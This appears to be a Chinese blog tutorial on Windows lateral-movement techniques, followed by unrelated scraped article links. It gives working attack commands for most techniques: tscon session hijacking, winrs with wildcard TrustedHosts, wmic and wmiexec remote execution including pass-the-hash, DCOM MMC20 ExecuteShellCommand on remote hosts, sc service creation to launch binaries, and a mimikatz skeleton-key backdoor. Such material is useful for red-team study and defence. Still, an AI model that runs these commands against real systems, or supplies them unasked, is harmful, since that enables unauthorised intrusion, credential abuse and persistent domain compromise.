Lateral Movement
简介
这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧
(慢慢更..)
可以发我邮箱讨论:muxue@protonmail.com
Tscon
我这里用的是Windows Server 2012
利用PSEXEC
提升至system
权限
在一个机子上要是有多个用户登录,可以使用query user
或者在任务管理器里查看状态
我们普通用户连接是需要密码的,但是system权限下就不需要
- 首先获取目标用户的id
query user username
- 连接用户
tscon id
tscon id /dest:console
我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声
WinRM
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
需要先配置
// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
// 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force
还得接着配置
winrm set winrm/config/Client @{TrustedHosts="*"} // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"}
// 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts
// Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami
WMI
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息
wmic /node:ip /user:administrator /password:pass process call create "command"
然后我要重点写下WMIEXEC
,impacket
里有py版本的,也有ps
、c#
的;我这里先记录vbs的
虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell
cscript.exe //nologo wmiexec.vbs /shell ip username password
然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell ip
python
python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm
ps
Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc
当然还有好多款工具是基于wmi的横向工具:
https://github.com/360-Linton-Lab/WMIHACKER
https://github.com/QAX-A-Team/sharpwmi
DOCM
先说下COM和DCOM是啥东西
COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
也就是DCOM是COM(组件对象模型)的扩展
所以执行命令也得需要看组件
DCOM执行命令可以分为两种:
- 本地执行
- 对远程执行
在本地通过DCOM执行命令
- 先获取本地DCOM程序列表
使用一个powershell命令(在version3以上才有),Get-CimInstance
Get-CimInstance Win32_DCOMApplication
, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
我们使用MMC20.APPLICATION COM
这个组件来进行命令执行
此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本
2. 创建一个实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
注意要在管理员模式下
获取实例后,然后查看COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
然后调用这个方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
使用DCOM对远程主机执行命令
- 简历ipc
- 创建实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip"))
- 执行:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")
还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html
SC
服务配置管理器
// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto
// 查看信息
sc \\ip qc systemhelp
// 开启
sc \\ip start systemhelp
// 删除
sc \\ip delete systemhelp /y
也可以使用scshell
,https://github.com/Mr-Un1k0d3r/SCShell
SMB RELAY
SMB中继的攻击手法 可以去搜着看,或者我以后写出来..
set AutoRunScript post/windows/manage/migrate
Skeleton Key
也就是万能密码
用mimikatz就可以实现
privilege::debug
misc::skeleton
会为所有用户加一个,mimikatz
的密码
配个图
Lateral Movement的更多相关文章
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- Coablt strike官方教程中文版
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- ATT&CK框架学习
ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...
- ATT&CK模型
Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...
- 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)
参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...
- hive 使用笔记(table format;lateral view)
1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...
- JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner
一.Lateral On-Scroll Sliding with jQuery的使用 View demo Download source 1. HTML结构 <div id=" ...
随机推荐
- 31、DNS介绍
[root@centos6 ~]# dig @8.8.8.8 www.baidu.com +trace ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.3 ...
- 15、oracle多表查询
15.0.实验建表: --父表 create table class( id number(10)constraint class_id_pk primary key, class_name varc ...
- jdk keytool 自签证书
jdk keytool 自签证书 https需要用到ssl证书,可以从阿里等平台申请,本文采用jdk keytool进行自签证书. 生成环境:linux 用jdk自带keytool工具生成密钥库 ke ...
- mac sudo: /etc/sudoers is world writable
今天误操作修改了/etc/sudoers的权限,将它的权限改成了777,结果就导致执行所有sudo的命令都报错. sudo: /etc/sudoers is world writable sudo: ...
- php 经典的算法题-偷苹果
有5个人偷了一堆苹果,准备在第二天分赃.晚上,有一人遛出来,把所有菜果分成5份,但是多了一个,顺手把这个扔给树上的猴了,自己先拿1/5藏了.没想到其他四人也都是这么想的,都如第一个人一样分成5份把多的 ...
- ubuntu16.04上编译android的可执行文件并调用本地so库
前言: 找了蛮多资料的,发现目前实现的编译方式大致就两种,一种是直接使用android源码中的编译工具链,另一种就是使用独立的交叉编译工具链,第二种我还在实现中,配置步骤挺多的 ,第一种实现方式挺方便 ...
- [转载] 笑话:Developer and product manager
A man flying in a hot air balloon suddenly realizes he's lost. He reduces height and spots a man dow ...
- XCTF simple js
思路分析: 进入靶场, 随便输入,肯定是错误的,f12看下源码,结合题目说js,把js代码单独拿出来看看. function dechiffre(pass_enc){ var pass = " ...
- F5的IPv6配置指导
1.配置核心思想: 配置IPv6的默认路由 配置IPv6的VS IPv6的vs里面要启用"automap" 2.配置IPv6的默认路由 3.配置IPv6的VS 第一种方法: 第二种 ...
- Python使用笔记20--网络操作小练习
1 ''' 2 2.自己抓取qq群的接口,传入一个群号,然后把群成员的头像下载到本地,头像用群备注来命名,如果没有 3 群备注,那么取昵称. 4 ''' 5 import requests 6 imp ...